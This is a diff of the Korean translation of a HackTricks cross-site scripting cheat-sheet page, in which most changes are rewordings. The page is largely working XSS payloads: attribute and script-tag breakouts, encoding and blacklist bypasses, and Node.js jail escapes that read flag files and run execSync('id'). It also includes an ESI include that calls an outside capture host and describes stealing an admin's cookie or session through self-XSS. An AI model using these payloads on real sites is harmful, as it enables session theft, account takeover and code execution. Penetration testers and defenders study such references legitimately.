||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\
|
||||
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
If you are in **HTML 태그 내부에 있다면**, 시도해 볼 수 있는 첫 번째 방법은 **태그에서 이스케이프**하여 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
|
||||
If you **태그에서 이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 생성하여 JS 코드를 실행해 보세요. 예를 들어, (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,12 +275,12 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
|||
```
|
||||
### Within the attribute
|
||||
|
||||
속성이 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제되는 경우)에도, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다.\
|
||||
또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
속성에서 **탈출할 수 없는 경우** (`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있다면** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다.\
|
||||
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
|
||||
|
||||
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다 (페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**:
|
||||
```javascript
|
||||
|
@ -303,7 +303,7 @@ HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디
|
|||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**유니코드 인코드를 사용하여 내부 이벤트 우회**
|
||||
**유니코드 인코딩을 사용하여 내부 이벤트 우회**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -359,7 +359,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
또한 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 내부에서 URL 인코딩되더라도, 실행되기 전에 URL 디코딩됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**되고 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
|
||||
또한 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -385,7 +385,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
만약 **`<a href=`** 태그에 **`target="_blank" and rel="opener"`** 속성이 포함된 임의의 URL을 주입할 수 있다면, 이 동작을 악용하기 위해 **다음 페이지를 확인하세요**:
|
||||
만약 **`<a href=`** 태그에 **`target="_blank" and rel="opener"`** 속성을 포함한 임의의 URL을 주입할 수 있다면, 이 동작을 악용하기 위해 **다음 페이지를 확인하세요**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -416,7 +416,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
|
|||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
그리고 **메타 태그**:
|
||||
그리고 **메타 태그**에서:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -424,7 +424,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**할 수 있어야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 여기가 벡터입니다:
|
||||
[**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**할 수 있어야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -432,7 +432,7 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): **
|
|||
|
||||
### 블랙리스트 우회
|
||||
|
||||
이 섹션에서는 다양한 인코딩을 사용하는 몇 가지 트릭이 이미 노출되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:**
|
||||
여기서 이미 다양한 인코딩을 사용하는 몇 가지 트릭이 노출되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:**
|
||||
|
||||
* **HTML 인코딩 (HTML 태그)**
|
||||
* **유니코드 인코딩 (유효한 JS 코드일 수 있음):** `\u0061lert(1)`
|
||||
|
@ -450,11 +450,11 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): **
|
|||
|
||||
### CSS-가젯
|
||||
|
||||
웹의 **아주 작은 부분**에서 **XSS를 발견**하고 상호작용이 필요한 경우(예: 마우스를 올리면 작동하는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
|
||||
웹의 **아주 작은 부분**에서 **XSS를 발견**하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다.
|
||||
|
||||
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어,
|
||||
하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -470,19 +470,19 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): **
|
|||
|
||||
## JavaScript 코드 내 주입
|
||||
|
||||
이 경우 **입력**은 `.js` 파일의 **JS 코드 내에 반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다.
|
||||
이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다.
|
||||
|
||||
### \<script> 태그 이스케이프
|
||||
|
||||
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입된 경우, `<script>` 태그를 **닫는 것으로 쉽게 이스케이프**할 수 있습니다:
|
||||
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입된 경우, **`<script>` 태그를 닫는 것을 이스케이프**할 수 있습니다:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
|
||||
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript를 파싱하여 내장된 스크립트를 이해하고 실행하는 것은 그 이후에 수행됩니다.
|
||||
|
||||
### Inside JS code
|
||||
### JS 코드 내부
|
||||
|
||||
If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed:
|
||||
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -490,10 +490,10 @@ If `<>` are being sanitised you can still **escape the string** where your input
|
|||
```
|
||||
### Template literals \`\`
|
||||
|
||||
문자열을 생성하기 위해 JS는 단일 및 이중 따옴표 외에도 **백틱** **` `` `**을 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\
|
||||
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면, `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다:
|
||||
문자열을 생성하기 위해 JS는 단일 및 이중 따옴표 외에도 **백틱** **` `` `**을 허용합니다. 이는 템플릿 리터럴로 알려져 있으며 `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\
|
||||
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면 `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다:
|
||||
|
||||
이것은 다음과 같이 **악용**될 수 있습니다:
|
||||
이것은 다음을 사용하여 **악용**할 수 있습니다:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -743,13 +743,13 @@ top[8680439..toString(30)](1)
|
|||
{% endcontent-ref %}
|
||||
|
||||
여기에서 **DOM 취약점이 무엇인지, 어떻게 유발되는지, 그리고 어떻게 악용되는지에 대한 자세한 설명을 찾을 수 있습니다**.\
|
||||
또한, 언급된 게시물의 **끝부분에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
|
||||
또한, **언급된 게시물의 끝에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
|
||||
|
||||
### Self-XSS 업그레이드
|
||||
|
||||
### 쿠키 XSS
|
||||
|
||||
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다:
|
||||
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토싱 공격을 사용할 수 있습니다:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -759,13 +759,13 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### 세션을 관리자에게 전송하기
|
||||
|
||||
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점을 유발할 수 있습니다.
|
||||
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 때 취약점을 유발할 수 있습니다.
|
||||
|
||||
### 세션 미러링
|
||||
|
||||
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다.
|
||||
|
||||
당신은 **관리자가 당신의 self XSS를 유발하게 하여 그의 쿠키/세션을 탈취할 수 있습니다**.
|
||||
당신은 **관리자가 당신의 self XSS를 유발하게 하여 그의 쿠키/세션을 훔칠 수 있습니다**.
|
||||
|
||||
## 기타 우회 방법
|
||||
|
||||
|
@ -788,9 +788,9 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
그런 다음 onfocus 속성이 삽입되고 XSS가 발생합니다.
|
||||
그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다.
|
||||
|
||||
### 특별 조합
|
||||
### 특별한 조합
|
||||
```markup
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
|
@ -829,7 +829,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
### Only Letters, Numbers and Dots
|
||||
|
||||
만약 JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](./#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
|
||||
만약 JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면, [**이 게시물의 이 섹션**](./#javascript-function)을 읽어 이 동작을 악용하는 방법을 찾아보세요.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
|
@ -895,7 +895,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있는 악용을 위해 사용되었습니다.
|
||||
이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있는 남용을 트리거하는 데 사용되었습니다.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 프리 렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
|
||||
```html
|
||||
|
@ -944,7 +944,7 @@ import { partition } from "lodash";
|
|||
|
||||
예를 들어 [**이 글**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 스크립트 내에서 **JSON 문자열을 이스케이프**하고 임의의 코드를 실행하는 데 사용되었습니다.
|
||||
|
||||
### Chrome 캐시에서 XSS로
|
||||
### 크롬 캐시에서 XSS로
|
||||
|
||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
|
@ -952,7 +952,7 @@ import { partition } from "lodash";
|
|||
|
||||
### XS 감옥 탈출
|
||||
|
||||
사용할 수 있는 문자 집합이 제한적일 경우, XSJail 문제에 대한 다른 유효한 솔루션을 확인하십시오:
|
||||
사용할 수 있는 문자 집합이 제한된 경우, XSJail 문제에 대한 다른 유효한 솔루션을 확인하십시오:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -992,7 +992,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
* `require`에 간접적으로 접근하기
|
||||
|
||||
[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에서 래핑됩니다.
|
||||
[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에서 래핑됩니다, 다음과 같이:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
|
@ -1043,9 +1043,9 @@ console.log(req('child_process').execSync('id').toString())
|
|||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
### 난독화 및 고급 우회
|
||||
|
||||
* **한 페이지에서의 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **하나의 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1088,7 +1088,7 @@ trigger()
|
|||
|
||||
### Iframe 트랩
|
||||
|
||||
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보를 포함하여):
|
||||
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
|
@ -1309,7 +1309,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Access Hidden Content
|
||||
### Regex - 숨겨진 콘텐츠 접근
|
||||
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라져도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
|
||||
```javascript
|
||||
|
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### SSRF로의 XSS
|
||||
|
||||
**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드해보세요**:
|
||||
**캐싱을 사용하는 사이트에서 XSS를 얻었나요?** 이 페이로드를 사용하여 **그것을 SSRF로 업그레이드해보세요**:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1430,15 +1430,15 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Find **더 많은 SVG 페이로드는** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Misc JS Tricks & Relevant Info
|
||||
## 기타 JS 트릭 및 관련 정보
|
||||
|
||||
{% content-ref url="other-js-tricks.md" %}
|
||||
[other-js-tricks.md](other-js-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XSS resources
|
||||
## XSS 리소스
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||||
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||||
|
@ -1448,21 +1448,21 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구술 필요_).
|
||||
If you are interested in **해킹 경력** and hack the unhackable - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue